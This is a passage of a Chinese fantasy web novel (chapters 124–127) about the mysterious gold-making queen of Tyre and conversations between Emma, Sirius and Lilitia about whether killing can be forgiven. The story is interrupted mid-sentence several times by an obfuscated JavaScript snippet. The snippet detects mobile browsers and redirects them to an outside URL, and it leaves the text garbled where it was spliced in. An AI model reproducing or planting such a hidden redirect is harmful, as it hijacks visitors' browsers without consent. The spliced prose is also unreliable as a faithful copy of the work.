她那时候已经什么字都认得了,但这种违规行径让荷尔贝拉心里七上八下,十五个水桶满溢地晃荡。 利提亚又靠她太近,满不在乎地贴过他那冰冷的体温,好让两个人都能把书上细小的字看得够清楚。 她一侧头就能看见他的脸,乃至触及他的呼吸。 荷尔贝拉实际花了半本书的时间才定下心在书页上,抱着种事已至此的绝望心情。 一看就看见纸面上详细描写着一男一女接吻时唇舌交缠的场景,一时间羞愧到希望自己不认识字。 但她最后还是看了下去,耳根上的热意慢慢消退,又在某些场景时重新泛上来。 这是贵族认为有失体面的书,连宅邸里高素质的佣人都唾弃,更不是能允许孩子看的东西。 荷尔贝拉也从未看过,那些内容对当时的她来说足够大胆和新奇。 她看得专心致志,直到书本合上都意犹未尽,仍然沉浸在故事中,却听到身边冰冷的吐息。 “真无聊啊。” 利提亚失望地随手拨了遍书页,神情里不失困惑,“这种东西,要是不被禁止,倒是完全没有看的价值。 “在城里好像还很受欢迎,他们为什么喜欢这种故事?” 他转过头,望向她:“你说呢,贝拉?你觉得这个故事怎么样?” 她的声音卡在喉咙里,发不出一点声响。 利提亚等待着,过了大约半分多钟,她才回答:“我有很多字不认识。” “那你应该看的时候就问我的。”利提亚不满道,将书扔进她怀里,“给你,可以去查一查——哎,算了,反正也没意思,看不懂就看不懂了。真浪费时间,还不如去街上招惹混混有意思……” 她一声不吭地收好书,没有评价任何事。 . 荷尔贝拉转过目光时,能看见他的侧脸,似乎与多年前的时光重合。 利利提亚的表情比当年更柔和些,或许是周围太多人,需要表演一下的缘故。但眼里那份她熟悉的兴趣缺缺,却仍然是相同的。 荷尔贝拉偶尔会想:如果他是一千零一夜里的国王,山鲁佐德大约活不过第一个晚上。 她偷偷打量着利利提亚,见到他散漫地望着舞台的目光凝起来,明亮了些,落到他的右边。 荷尔贝拉心跳停了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598749|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半拍,缓慢地下沉,仍然多看了他一会儿,才收回目光。 理所当然的事情。也应该是这样。 荷尔贝拉想,明明早就非常清楚。 . . 舞台太热闹,许多观众还想和演员交谈。 虽然想跟芬妮打个招呼,但情况不太允许,只能改天再说。 他们顺着散场的人群走出了圆形竞技场。 出门后,几人又同路了一段,最后利利提亚先行告辞,荷尔贝拉也提出离开,只剩下艾玛和西里斯在一起。独处的寂静格外刺耳。 艾玛主动开口,好在不缺乏开启话题的由头,声音却有些不自然的僵硬:“你喜欢今天的戏剧吗?” “很出色的戏剧,演出也很精彩。”西里斯说。 “我看你好像不是很高兴。”艾玛顿了顿,“鼓掌的时候,你停了好一会儿。” 西里斯在每位演员登场的时候都鼓过掌,礼仪之外,也能看出他对表演的认可与肯定。 那个少年的演员登场时,收获了场下不少掌声,热烈程度只比主演低一些。 作为剧目中刻画有复杂性的角色,显然得到了大部分观众的认可。大部分。 西里斯在他出现时,拍了两下手,就停了,没有表情地保持沉默。 平心而论,那个演员演得不差,那两下掌声是送给表演者的。 “我不喜欢那个角色。”西里斯说,“不喜欢他的结局。” “他被……原谅了。”艾玛说,“那是个好结局。” “杀人并不是什么光荣的事情。无论出于私仇,还是出于公理,哪怕被冠以再正当、再光明的名义,杀人仍然只是杀人。” 艾玛沉默片刻:“但是,这标准太残忍了。被不公平对待,受到压迫的,那些不幸的人,很多时候反击不幸的方式,只有杀死加害者。 “这样能说他们是错的,不值得被原谅的吗?” “视罪孽轻重,视公理评判,视是否有人原谅,视他自己是否接受被原谅。 “想要脱罪的人,本身就会为自己寻找无数借口,寄希望于所谓神明的代行者,求个心安理得。 “杀人很多时候没有实质惩罚反馈,神明会降罪杀人者的说法,从来只是传说。 “但任何人的性命天然等重,只有杀人的分量确实,没有余地可辩解。” 西里斯的叙述平稳,不带感情:“杀人的人,也应被人杀死。无论出于什么样的理由,在主动杀人的时候,就已经不再无辜,与加害者等罪。不值得,也不该期望被宽恕。 “决定杀人之前,就该有这样的觉悟。” 艾玛停下脚步,西里斯也跟着停下来。 沉默很久,她望着他的眼睛,暗红色的眼睛冰冷且坚硬。 “我没有杀过人。”艾玛的声音干涩,仿佛对所知所处的一切都感到茫然,困惑里带着一点不安,“那么,我们是不同的吗?” 西里斯看着她,沉默了半晌,像是无可奈何,又像是早已疲惫,缓慢地打起一口气,沉重而倦怠地回答: “我们……一直,从来,都是不同的。”他说。 124.黄金 黄金是最稳定的金属,不与任何物质反应。 性能卓越,用途广泛,又光彩熠熠,古来就受人们喜爱。 因为稀少更加珍贵,作为陆上最泛用的通行货币而被交易定量。 传说黄金是太阳的灰烬。 有人梦见混沌之初,日星孕育在地星之中,不分彼此。 直到某一时刻,它撕裂地表,如同一只满身火焰的巨鸟,扑动翅膀升上天空,从此与地星分离,而黄金便是它遗留地上的残骸。 那人从梦中醒来便双目失明,仿佛过久地直视太阳。 . 炼金术士曾经很出名,让无数人崇敬向往,但架不住十个里九个半骗子的含水量,渐渐受到的鄙夷甚于尊敬。 这也让许多货真价实的炼金术士无奈。 传奇冒险故事听了太多,人们总以为炼金术士的本事就是动一动手指便能“点石成金”,而实际能做到这一点的,十个里十一个是骗徒。 魔法是奇迹,但本质并非无中生有。 真正的炼金术士,是从含有金元素的物质中将金提炼出来,使用的是探测、吸引金属、高温熔锻一类的法术。 过程相当复杂辛苦,与人们印象里不劳而获的魔法师相去甚远。 而能够满足这些人对于炼金术士想象的骗子里,许多出名之辈都是幻术师,其中技艺精湛的不易被戳破,以至于对炼金术士那些美化幻想的流言还能传播这样长久。 低级的幻术师只欺骗客人的耳眼,必然骗不了多长时间;而出色的幻术师会在石头上施加法术,使得看见、触碰它的所有人,都以为这真是一块黄金。 破解谎言的法门有许多,最常见的解法说:只要你将这块石头带到远离幻术师的地方,足够远之后,法术便无法维持。 其他还有诸如扔进火中、敲打研磨等从金石性状相异的角度出发的判断方式,成功率却也因为幻术师的水平而有差。 但有一个据说正确率百分之百的破解方法: 只要将那金块扔进海中,浸过海水,真金不会变化,而伪金会立刻失去色泽,露出本相。 这说法流传很广,却鲜有人尝试。 海洋遥远,神秘且恐怖,触及海水可能遭到的厄运,大约比触及伪金更多。 曾有船队根据学说假想,潜入海中搜索黄金,却没有一个水手能活着重新回到水面。 人们仍然痴迷于黄金耀眼的光华,纵使在这些传闻故事里,它的真伪如何闪烁不定,却丝毫不动摇它在幻想中的璀璨迷人。 炼金术士虽然饱受质疑,但依旧有人为那一丝真实的可能而去不断地尝试相信。 直到某一个时代,这些相信与怀疑都不再重要,因为世上出现了一个真正能够“点石成金”的魔法师。 没有人能够戳破她的法术,纵使将她所点化的黄金带到大陆另一端,纵使投入海中,人们说,那些黄金仍然光辉熠熠。 如果说炼金术士提炼黄金的法术已是一种奇迹,那么她必然在奇迹之上,乃至奇迹需要向她俯首。 人们歌颂她,称呼她为——推罗的女王。 . 在久远的童话故事中,作者构想天上存在一座由黄金建造的都市,入目皆是耀眼光辉,引得世人向往。 而渐渐地,开始有“天上黄金都,地上推罗城”的俗语。 再到后来,黄金之都直接成为了推罗城的代称“之一”。 推罗所享有的美名实在太多,黄金甚至不算它的重头,只是它奇迹生涯中璀璨的一页。 作为艾佩庇里亚王国的首都,它甚至一度成为了这个国家的代称。 它是那个时代全部智慧的凝结,是所有最新、最奇妙、最匪夷所思的创想发生之地。 只因为,艾佩庇里亚的女王在那里。 . 对于所有满怀梦想与期待来到推罗城的年轻人,市井里流传着这样一句话: 在这里得到一夜之间成就的财富与地位绝非空谈,但比起打磨你的智慧、你的能力、你的品格,不如洁净你的身体,向你信仰的神明发愿,然后带上你此生全部勇气与觉悟,跪到女王座前。 女王如果喜欢你,随手便能为你点出一座宫殿的黄金;但如果你招惹她不快,她也能轻易把你变作没有生命的石雕,让你从天坠落至地粉碎,连同存在过的痕迹一起消匿。 她的喜恶便是荣誉和死亡的定义,无数人讨好她,在她脚边堆砌世上所有的词藻美誉,祈求她青眼相加。 但女王喜怒无常,难以捉摸。 即使听到的是赞美,她有时仍嫌对方聒噪,便让那人从此无法言语;曾经她喜爱歌伶优美的颂曲,就让歌伶在宫殿唱了三天三夜,唱到后来喉中泣血,声带损毁,直到厌倦才让歌伶停下。 辱骂讽刺的言语不一定会引来她的怒火,只要对方身上有什么令她看中的部分,仍能得她赏赐赞许;而有些贤人纵使言语发自好心,只要让她莫名其妙不快,便遭莫名其妙的灾厄乃至死亡。 在女王为人点石成金之后,无数的大小贵族和四方而来的觐见者们向她献上奇珍,请求女王将他们带来的物件化为黄金。 如果送上的珍品玩物搏得了女王的好感,那么这点对她来说无足轻重的小愿望自然能顺利实现,还可能附加惊喜恩赏。 无论人们向她献上要求化为黄金的是怎样的东西,她都可能答应。 一开始是常见的雕塑、植株、衣饰,后来延伸到坐骑、牲畜乃至宠物。 有时候她怜爱送来的祭品,便只转化它们身上的配饰作为礼物;有时她觉得将眼前的活物化成黄金的设想值得一看,也欣然同意;有时她觉得祭品无趣,原封不动送还。 她所变出的无数黄金转入城市,四处流通,导致市面上的黄金一度贬值。 但女王一个一个地逐渐对人们送来的祭品感到厌烦,终于有人开始献上奴隶。 她赞许第一个提出这点子的贪婪之人,实现了他渴求黄金的愿望,后来者见此纷纷效仿。 有贵族精心打扮了自己貌美的女奴,献到女王面前,女王却兴味索然,让极有信心的贵族大受打击,禁不住请求女王再多看两眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人们视女王带来的异景为奇迹,更多才思怪异之人从世界各地受她吸引而来,使得推罗愈发繁荣,也愈发混乱。 这一切带来的成果绝对显著,无数发明应用涌现,各行业的发展速度远超从前任何一个时代。 连黑市的交易也越发奇诡野蛮,到处是那股近乎狂野的勃勃生机。 外界的变化只是艾佩庇里亚影响的延伸,而推罗是艾佩庇里亚的首都与中心。 那位无人知晓来历的女王,则毫无疑问是驱动整个国家狂热的,一切的源头与终点。 许多人曾邀请女王到访其他国家城市,但据说她从未离开推罗城,乃至从不踏出王宫一步。 推罗到底有何神秘,又因此惹来许多遐想。 她仿佛是生长在推罗的宫殿之中,简直就像是这个国家的一部分,像是它不可分割的心脏。 125.不朽 “不是太不像话了吗?” 在宴会上那些密密的交谈声里,这道带着醉恼、压低了的愤懑声音,让他抬了抬眼睛。 “她到底想怎么样?——那个疯女人!随心所欲、目空一切!三天翻新一次法律,毫无定性!我刚刚按她的新法买进的酒,因为她一个念头就——” “——我的宅邸,我的生意——” “那些乡巴佬、外国人,来这里只知道女王!我的领地上——” 他复而将目光低进酒杯里,抬起杯沿抿了一口,烈酒触碰到唇边,分离时如同火灼。 他舔了下唇上的酒液,那热意便蔓延到舌尖。 “她到底是什么来历?日神在上!真不敢相信!他们让一个出身不明、毫无血统的女人占据了这么久的王位!那些王族是死绝了?” “呵,你也就在这里硬气,到她面前只会比那些当狗的王爵更听话。 “他们是不想把她拖下王位?当然是不敢——谁有那个本事?大陆上哪里还能找出比她更强大的魔法师?” “她到底是个母亲——先王过世时,若说孩子尚年幼,所以由她代管王座一时,也说得过去。 “可如今王子早已成年,她却没有一点让位的意思。这就实在是——” “哼,她从没说过是‘代管’,我看她一开始就没想要把王位交给其他人,哪怕是自己的亲生儿子。 “大王子性情太和顺,不敢逆着他母亲,有人扶都扶不上位,其余更是——” “但她对大王子还是不错,兴许哪一天——” “大王子要是能继承王位,以我们家族和他的交情——” 贵族们仍然是老样子,几句话不离自己的利益。 这种冗余信息对他没什么价值,他只听两句就抽回了耳朵,转而寻找别的有用消息。 贵族的宴会总是这样喧闹,仿佛一起喝醉了,声音叠着声音,便没人分得清那些真真假假的怨言。 仿佛这么多人同自己一样吐出的悖逆话,即使女王听见了,也法不责众。 谁知道呢。法律在她面前是朝令夕改的一纸笑话。 所以那种被追究的恐惧也若有若无,轻飘飘地悬浮在所有人身边。 主办这场宴会的伯爵是个中立的商人,甚至爵位是用黄金才买下的不久,所以广邀访客抓紧笼络。 这样的暴发户,从前那些传统贵族们根本看不上,更别说登上他家的台阶。 但如今许多事变化得太快太剧烈,贵族们怀揣着焦躁,仿佛预感到巨大风暴将近,带上一种今日狂欢明日死的自暴自弃。 如今爵位不值钱,家族历史传统也不值钱,矜持名誉更是可以扔去见鬼的东西。 夸张露骨的贵族绯闻都难以刺激人们的兴趣,因为实在多到磨得人耳朵起茧。 由此,参加一些原本看不上的宴会,喝两杯免费的好酒,和人发泄一通心里的气血,都算不得什么大事,甚至是一种必须。 否则那些难以消解的不安,又该如何安置? 这种让人头昏脑涨的氛围,他不喜欢,但正是这样的氛围时不时能让人吐出些原本该闷死在腹中的话。 他有很多身份,扮演很多角色,有时或主动或受邀地参加这样的宴会,这对他收集情报、调查风向也是一种必须。 推罗的女王是艾佩庇里亚的荣耀,人们敬仰她,但更多人畏惧她。 显而易见。无论贵族平民,最关心的总是自己的切身利益,而一个变化的活人当然不比一本陈旧的法典稳定。 一个国家需要这样的稳定,而不是魔法与暴力维持的摇摇欲坠。 最初还多是赞美,夹杂着不痛不痒的质疑。 但如今那些疑虑与不安越来越浓重,再也无法压抑。 即使是这样中立主办所举行的宴会上,能听见对女王的斥骂也比盲从要多了。 是啊,她再神通广大,到底管不过来这许多的人心。 他舔了舔自己的牙齿,尝到一点铁锈气。 那几个大公爵,早就在暗地里磨砺刀剑,积蓄力量,扩张地盘,就差旗帜一扯自己称王。 但女王全然不管不顾,任由他们搞出再大的动静。 大臣们一盘散沙,心思各异,都在盘算着从前的抉择和将来的后路。 只有她日复一日活在当下,既不回首曾经,也从不考虑以后。 她真不是个好国王。不如说,连当王的自觉都没有。 倒台是迟早的事。但人们隐秘地怀有这种信心良久,她却仍旧在王位上坐到了今天。 公爵们在其他领地的势力无论如何庞大,也至今没有一人敢动推罗。 真遗憾。他想。那只能帮他们一把。 “可女王真的会死吗?” 刚刚畅想着大王子继位后将来的人群里冒出这样一句话,就像在热闹里泼了一盆冰水,他们一时都安静下来。 说话的人咽了口吐沫:“我听说……我见过,见过女王。 “她看起来太年轻……太年轻,完全不像那个年纪该有的外表。” 有人补充:“听说她的容貌从未变化过。” “不……我听有人说她美得令人难以直视,又有人说她长相吓人得不敢多看一眼,到底是哪种?” “诸位、诸位,绅士些,别议论女士的外貌。” 一个喝醉的男人突然闯入这群人之间,许是只抓住几个关键词,便牛头不对马嘴地讲起来:“你们看!这宅子,嗬!气派呢,墙上贴了这么多金箔! “要放在从前,不拿出这个数,啧啧,肯定造不下来。现在,好日子啦!” 男人对着宅邸的装饰指点评价,转过身又拍拍其他客人的肩背,亲昵得如同见到兄弟。 他话里带着浓重的贵族发音,相貌颇温文,话又说得热情亲切,以至于周围人一时没做反应。 这人显然是个女王派,却闯进这群背地里抱怨女王的客人中,因为醉过了头而毫无察觉。 “我也听说——女王好像不会老去。好事,这是天大的好事,艾佩庇里亚的幸事啊!” 他眼睛发亮,激动地张开双手转了个圈,“只要女王在,艾佩庇里亚的荣耀便不会断绝。她要是永生不死,艾佩庇里亚也将永远繁荣。啊,看看,看看这些黄金——多美啊! “‘天上黄金都,地上推罗城’,只要女王长在,推罗有一日变成名副其实的黄金之都,也绝不是空想!啊,怎样的奇迹啊!” 周围的宾客都沉默,望他像望着一个疯子。 . . 那所谓凭空点化黄金的奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610297|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹,他一直很不相信。 同为魔法师,他很清楚炼金术士技艺的原理。 说到底只是改变了物质的形态,无论如何无法动摇事物的本质。 就算她是再强大的魔法师,她的法术也必然建立在这最基础的定理之上。 . 那个被她变作黄金像的贵族,许多人为他求情,恳请女王将他恢复原状。 女王断然拒绝,将一把刀子扔到那差点化为黄金的女奴身边。 她说:你可以切下他身上任何部位,只要能带走的,从此就属于你。 他用一个人的命来向我换取等重的黄金,那么就该有付出相同代价的觉悟。 他失去性命,你得到自由。 交换从来对等,这很公平。 那伏在地上的女奴凝视刀刃良久,握住了面前的刀柄。 他听见这故事时,只是想到:即使是她,也相信等价交换的原理。多么讽刺。 . 走在推罗城街头的时候,似乎不像走在陆地。 据说女王的心情会影响推罗城的天象。 她高兴时便下雨,恼怒时就天晴。 而原由就藏在那片“天幕”里——悬于整座城市之上的无边之湖,仿佛纯粹由水构成的浮空岛屿。 时而有阴影从中掠过,或许是天外的游云。 下雨时,天幕便会低垂下来,向着地表压近,仿佛要抱拥整座城市于怀中。 太阳的光辉只能穿透那层水幕才落到地上,光与热也被稀释,扭曲地在地面投出粼粼的水纹,薄而冷的金色,如同褪色的伪金。 他仰望天幕时,巨大的阴影正掠过他头顶,像一条巨鱼游经此处。 仿佛有孤独而古怪的鸣响从水流声中落下来,错觉一般,碰到地面之前就消失了。 . 真正的黄金不会褪色、不会锈蚀、不会腐坏。 他偶尔想,人们拿来向她交换黄金的,与之相比,都是短暂的东西。 在魔法上,按照等价交换的原理,如果将一种物质变化为另一种物质,则它们必须具有相同的性质。 那么,有什么能交换永不腐朽的黄金? . 那沉醉于幻想中的梦游者说到后来,早已注意不到周围的眼光。 客人们败兴散去,而他走到桌边,又为自己斟了一满杯的红酒,然后高高举起,四处打转,不知道在向哪里的宾客致意。 “敬我们伟大的女王陛下!敬我们的艾佩庇里亚!敬我们的,敬我们……” 酒精将他的声音浸泡得含糊混乱,但没有人上前打断这祝词。 王座尚未易主,于此情此景,这仍然是可以正大光明出口的话。 有人窃窃低语,有人附和谄媚,有人嘲笑。 站在原地迷迷瞪瞪思考了半天的男人终于想清祝词,复又兴高采烈地举起酒杯,酒液因为盛装太满,在剧烈晃动里泼到了地上: “祝女王陛下永垂不朽——敬我们不朽的艾佩庇里亚!” 男人的措辞有误。一时有人尴尬,有人发笑,更多人不置一词。 这里醉鬼太多,没有人真的在乎一句缥缈的疯话。 . 而他抬了抬手,微微倾过酒杯,像回应那句遥远的祝词。 126.深夜散步 艾玛的心情很差。 夜晚沉默,像毫无波澜的深潭。 她在床上坐了半天,抱着膝盖听了很久周围的寂静,仍然没有一丝一点困意。 往常在沙漠中,到夜晚很深的时候,人类身体的本能多少会让她升起点疲倦。 但在阿瓦托芬待得越久,越连这点倦意都消失。 艾玛的神志清明,清晰得甚至恼人。 不想思考。不想感受。不想面对醒来的世界。 要是能一觉睡过去就好了。无知无觉地迎接明天到来未尝不是一种幸运。 但头脑又实在太清醒,清晰到微小的水滴坠落声划过神经末梢的触感都如此鲜明。 最初是一两滴,然后迅速地连成一片。 艾玛从窗外望出去,外面开始下雨。 她在雨声里原地寻觅了片刻思绪,没能找到什么东西。 艾玛从床上起身,收拾衣服,决定出去走走。 . 神殿中心深夜仍有守卫巡逻,但艾玛不想遇见人。 这里宛如她的领地,她能掌握其中每一丝呼吸的走向,每一道声音的落点,因此避开他们轻而易举。 雨下得意外的大。她走在走廊边上时,那些水点跳跃着溅上台阶,风一吹便偏移了雨帘的轨迹,艾玛的衣裙被打湿了半片。 她从雨幕里望出去,后知后觉地听见刚才未曾发觉的呼吸声。 奇怪,艾玛想,她应该不会遗漏守卫的声音才是。 但看见雨中那抹银色的第一眼,那种想避开的心情又迅速消退去。 艾玛站在原地,等着他走近来。 水中踢踏的脚步声越来越近,不急不缓,从雨幕中落上石阶。 他白色的衣袍湿透了,布料盛不住过满的水分,沉重地打落在地面,带来另一阵小型暴雨。 水流滑下他银色的长发,蜿蜒着沾着于他苍白的皮肤,从脖颈到肩胛,像是刚从湖泊里被打捞起。 他向艾玛抬起眼睛,缓慢地眨动了一次,眼里的蓝色浸着湿润的水光,水珠从睫毛上滚落,砸到地上。 “晚上好,女巫殿下。”利利提亚向她微笑着说,“真是个好天气啊。” . “没有带伞吗?”艾玛打量他被淋透的狼狈样,问道。 “嗯,天象司没说今晚会下这么大的雨。” 利利提亚挽了下头发,露出洁白的侧颈,声音仍然是轻快的,“我有些工作要交接,去了一趟城楼,回来的时候正赶上这场雨。下得真是时候啊。” “这么晚,工作?” “有点积压的事没做完,已经解决了。” “辛苦了。你平时都休息得这么迟?” “我是短睡眠类型,不需要太多睡眠时间。您也是吗?” 艾玛短暂地停了停,向他伸出手:“只是睡不着,出来走走。我帮你弄干衣服吧,这样会着凉。” 利利提亚把手递给她,道了谢。 他的体温本就低,在雨水的冲淋下越发冰凉,像夏天夜晚未融的冰块。 艾玛碰到他手腕时,感觉冷得更清醒了两分,有些默然。 用视线测量他身体衣料曲线,考虑如何分离他体表那些多余的水分时,艾玛方才注意到他左上臂有一道新鲜的划痕,伤口已经凝结,被雨水洗得甚至发白。 “这个?”艾玛一手抓着他手腕,一手抚上伤口附近,点了点。 “啊,大概是路上不小心被树枝划到。” “像刀伤。”艾玛说。 “您眼神这么好,真叫人为难啊。”利利提亚无奈道。 艾玛垂着视线,指尖压到伤口上,顺着伤痕缓慢地抹开,那口子一点点开始愈合:“我听克蕾娜提过,你有时候会在自己身上划出伤口。” “不知道她是怎么告诉您的,但我姑且先辩解一句,我没有自虐的癖好。” “她没说你喜欢自虐,只是说你脑子有毛病。” “是吗?她真好。我会记得下次再向她道谢的。” 指尖滑到伤口顶端,那一处的皮肤已经恢复光滑平整,连表面的水珠都被抹掉了。 艾玛估计了一下,顺手从肩膀捞起他的长发,水流从她掌心落下来。 一阵温热从她接触的位置开始蔓延,一直延伸到衣料末端。衣摆停住了淌水。 艾玛一心两用地随口说:“克蕾娜还提到,用魔法给你治疗的医生很容易心悸梦魇,但她不会。她自己也不知道为什么。” “是有这回事。请放心,我这点特质还不至于有本事影响您。至于克蕾娜,”利利提亚顿了顿,仍然微笑,“她是个治疗时本能把病人的意志置于自己之前的好医生,梦魇没有烦扰她的道理。” 艾玛搓了搓指间已经松散些的发丝,放开手:“好了,差不多这样。你还是早点回去换身衣服,小心感冒。” “感谢您的体贴。”利利提亚抚过发丝上她刚刚碰过的位置,“不过,我从来没有感冒发烧过,也没有生什么病的历史,在这方面似乎体质好得异常,想来不需要担心。您着急离开吗?” “只是随便转转,不想见到什么人,所以避开了守卫,劳神谕祭司挂心吗?” “如果您不想见到我,刚才就走开了。”利利提亚微笑着说。 艾玛看了他几秒,转过身:“左边。有人过来了。” 利利提亚跟到她身后,在走动里慢慢追平脚步,站到了她身边。 . “雨下得真大。”他感慨道。 艾玛瞥了他一眼:“你看起来心情不错。” “我一直喜欢雨天,湿润的空气很舒服。”利利提亚看向雨幕,“或许是习惯。我的故乡在罗穆卢斯北部的拉文纳郡,尤利乌斯家的领地在那里。拉文纳北面临海,雨季很长,降水量也多。 “奥古斯塔家的特里尔郡在罗穆卢斯南部,那里温和不少,克蕾娜以前住在那边。 “她说阿瓦托芬的气候还是比特里尔更干燥,虽然偏好雨天,但下雨会让她想起药材种植保存等令人担心的事,还是不下为好。” “难怪。你刚才被雨淋成那样也不着急。” “雨天唯一令人可惜的是云层太厚,会遮挡月光。但现在您在这里,这点遗憾也消失了。 “真是个美好的夜晚。只是,这样的情境,让人想起些有意思的传说。” “什么?” “据说,女巫要是在某处长久停留,那里的天象变化就会成为女巫心情的外显。 “女巫如果心情好,则天气晴朗;如果心情不好,就会有狂风暴雨。” 艾玛沉默数秒:“弗里蒙斯先生提过这个。你有什么要问的吗?” “能让您凌晨一点在这儿散心的困扰,想必我帮不上忙,问话就太多余了。” “我不讨厌你这种自我认识过于清楚的地方。也或者,只是把虽然有好奇心,但又怕麻烦的话说得太漂亮。” “怎么会呢。” 又走出去几步,艾玛问:“前天的戏剧,你觉得怎么样?” “精彩的演出,听说很受好评。等夏季公演结束,就会正式搬上剧院舞台,剧本也向其他部分剧团开放。 “文礼司最近有很多演出台本要审核,忙得够呛。神谕祭司对神话文书这边有一定的管理责任,我也连带看了不少。” “有什么值得期待的新作?” “您如果有兴趣,还是问问其他更专业的观众吧。请见谅,我看得太公式化。 “我参与审核时要考虑的,只是剧本中涉及神话传说的部分是否会造成不良公众影响。 “举例说来,阿瓦托芬的戏剧中,不能宣扬其他信仰,如果涉及月神,对祂的形象也有严格限制:不能是负面的,不能过于立体和人性,不能以祂为主角来写伦理感情。 “如果剧本过关,需要有演员饰演月神的角色,还要通过祭司占卜征询月神殿下的准许。 “总之,需要很谨慎。 “许多剧作家为免争议,会捏造些更安全的神明形象,像是《格洛丽亚》里的湖水女神,取自常见传说中月神子女的设定,是种常见的聪明规避。 “但如果影射太明显,又触犯前几条限制,也是不行的。” 他们走得很慢,利利提亚停下来,艾玛站住脚步。 他伸出手,探进雨里,雨点打在他手心,利利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616765|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提亚笑了一下:“在信仰尚未成型的年代,人们对神明的诠释完全出于自身期望。 “直到王权建立,为了自身的权威,当权者们便开始窃夺神明的代言权,对神的权能做出统一的划分定义。 “譬如在法律订立之初,便要约束人类天性的野蛮,教化规则与文明,从此杀戮在社会里必须被赋予意义。 “所以人们常说,生杀予夺是神明的天权,而杀人者僭越,是冒渎神明的重罪。 “王权的正当性从神权里取得,被神明所认可的王也获得神所给予的杀人权利,受王承认的杀人之举便同享这份正义,虽僭越可免罪,暴力支持的统治由此延续。 “但当权利争斗,王权交替,这份正当性难以归属时,人们又要凭借神明的名义。 “就像那幕剧中,纵然格洛丽亚不失道义,也必须要有神明给予的圣剑,神明所赐的杀人之权,否则她再多美德披身,也只是个无法得到承认的悖逆者。 “历史里不缺乏这样的故事,神明永远只能站在胜利者诠释的立场。” 艾玛说:“你不相信这套理论。” “当然,换一个视角看来,不过是人类的文字游戏。 “人们总是赋予神明太多期望,指望祂们理解人类的公理正义,又把祂们的沉默当认同。 “但神明只是从不言语,对所有性命一视同仁。” 他从雨里收回手,望向艾玛。 艾玛移开目光,问道:“你喜欢《格洛丽亚》的结局吗?” “结局?唔……无论从角色还是故事来说,都很经典正统,没什么好评价。” “那个少年的结局呢?”艾玛说。 “那个角色?”利利提亚思索一下,为难地皱眉,“诚实地说,我不喜欢呢。” 艾玛动了动眼睛,看向他:“为什么?” “他只是遇到格洛丽亚迟了一步,得到那份正当性晚了一些,戏剧性的设计。无论是否被原谅都很容易。”利利提亚淡淡说,“何况,他只杀了一个无辜的人而已。” 艾玛默了片刻:“……‘任何人的性命天然等重’。” “真是慈悲。”利利提亚笑了笑,口吻微微叹息。 “我没有杀过人。”艾玛说。声音像是从胸腔里飘出来的,反射着空空的回声,不知落点与发声的意义。 “那么,一定有人替您做了这些事。” 艾玛沉默。一时只听雨声清晰。 “您认为杀人是不可赦的罪吗?” 艾玛的眼睫颤了颤。 西里斯冰冷的声音从她心里升起来。 所以她听见自己开口,几乎不像自己在说话:“或许是。” “啊……那么,我信仰的女巫殿下要是这么说。” 利利提亚转过身,忽然向艾玛跪下来,祈祷般交握双手,却睁着眼睛,仰起面庞看她。 他的声音接近虔诚的,掺着一层轻薄的狂热。 “——请您饶恕我,宽恕我杀人的罪行。” 利利提亚的字句冰冷,却音调轻快,双眼明亮,唇边仍带笑意。 “我杀过的人数以百千计。我不知他们的姓名,不知他们的来处,不知他们有罪或无辜。 “如果您要判决我,请告诉我罪无可恕; “如果您宽容我,请指引我,给我允许。” 艾玛望着他,低下眼睛。 夏季的暴雨冰冷却灼热。 她眼里不带什么感情,像看一个没有意义的静物。 “我是谁?”艾玛说,“我为什么赦免你?” 音节没有落地的震响,只漫开没有回音的涟漪。 利利提亚低下头,低声笑起来,笑声越来越大,额头抵到交握的双手上,笑得身体颤抖。 艾玛向他伸手,给他一个支点。 利利提亚搭上她的手心,起身时如一阵没有预兆的风雨,扑满在她面前。 他向艾玛偏过头,靠得很近,额头几乎相贴,银色的长发垂下来,像一道隔绝的幕帘。 “我告诉您一个秘密,”利利提亚轻声说,蓝色的双眼在昏暗中灼灼发亮。 “——我能够看见鬼魂。” 127.鬼 夏季的夜雨潮湿闷热。艾玛有一瞬间回想起领主城堡的夜晚。 